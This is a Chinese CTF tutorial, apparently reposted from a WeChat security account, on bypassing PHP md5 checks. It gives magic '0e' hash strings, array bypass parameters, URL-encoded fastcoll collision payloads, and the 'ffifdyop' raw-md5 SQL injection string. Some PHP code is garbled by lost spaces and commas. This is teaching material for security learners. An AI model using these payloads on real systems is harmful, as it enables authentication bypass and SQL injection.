md5常见问题及绕过

admin 2025年3月5日21:12:52评论12 views字数 2132阅读7分6秒阅读模式

参考文章:md5常见问题及绕过 - FreeBuf网络安全行业门户

MD5应用与CTF攻防:从弱类型比较到碰撞构造-CSDN博客

知识点

md5爆破

md5弱比较

md5强比较

md5函数漏洞(一般搭配sql注入)

DEMO-1 md5爆破

确定md5的部分字符,且明文为数字,爆破md5:

<?phpfor($i=0;$i<10000;$i++){ if(substr(md5($i),-6,6)=="5bcba3"){ echo$ibreak; } } ?>

DEMO-2 md5弱比较

科学计数法绕过

原字符串 0e开头的md5

QNKCDZO



aabg7XSs



QNKCDZO 0e830400451993494058024219903391



2406107080e462097431906509019562988736854



s878926199a 0e545993274517709034328855841020



s155964671a 0e342768416822451524974117254469



s214587387a 0e848240448830537924465865611904



s214587387a 0e848240448830537924465865611904



s878926199a 0e545993274517709034328855841020



s1091221200a 0e940624217856561557816327384675



s1885207154a 0e509367213418206700842008763514



s1502113478a 0e861580163291561247404381396064





数组绕过

a[]=a&b[]=b,传入参数为数组则MD5返回NULL,null=null,判断为true,成功绕过

Md5碰撞绕过

if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b']))

强碰撞用string强行转换成字符串,从而限制了数组绕过这方法,只能输入字符串。

将a.txt拖到fastcoll_v1.0.0.5.exe上,然后读a_msg1.txt和a_msg2.txt

fastcoll_v1.0.0.5.exe -p 0.txt -o 1.txt 2.txt

检测脚本check.php

`<?php



functionreadmyfile($path){



$fh = fopen($path"rb");



$data = fread($fhfilesize($path));



fclose($fh);



return$data;



}



echo'二进制md5加密 'md5( (readmyfile("1.txt")));



echo"</br>";



echo'url编码 'urlencode(readmyfile("1.txt"));



echo"</br>";



echo'二进制md5加密 '.md5( (readmyfile("2.txt")));



echo"</br>";



echo'url编码 '.  urlencode(readmyfile("2.txt"));



echo"</br>";



?>

最终payload:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2



&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

DEMO-3 md5强比较

姿势(同上):

数组绕过

Md5碰撞绕过

DEMO-4 md5函数漏洞(配合sql注入)

漏洞产生原因:md5函数第二个参数为true时,返回16字符的二进制字节,可通过测试生成固定的payload造成漏洞

数字型:129581926211651571912466741651878684928

字符型:ffifdyop

<?php

$a=129581926211651571912466741651878684928;

$b="ffifdyop";

echomd5($a,true);

echo"<br>";

echomd5($b,true);?>

该payload出现or,可配合sql注入

原文始发于微信公众号(泷羽sec-心安):md5常见问题及绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日21:12:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   md5常见问题及绕过https://cn-sec.com/archives/3795014.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息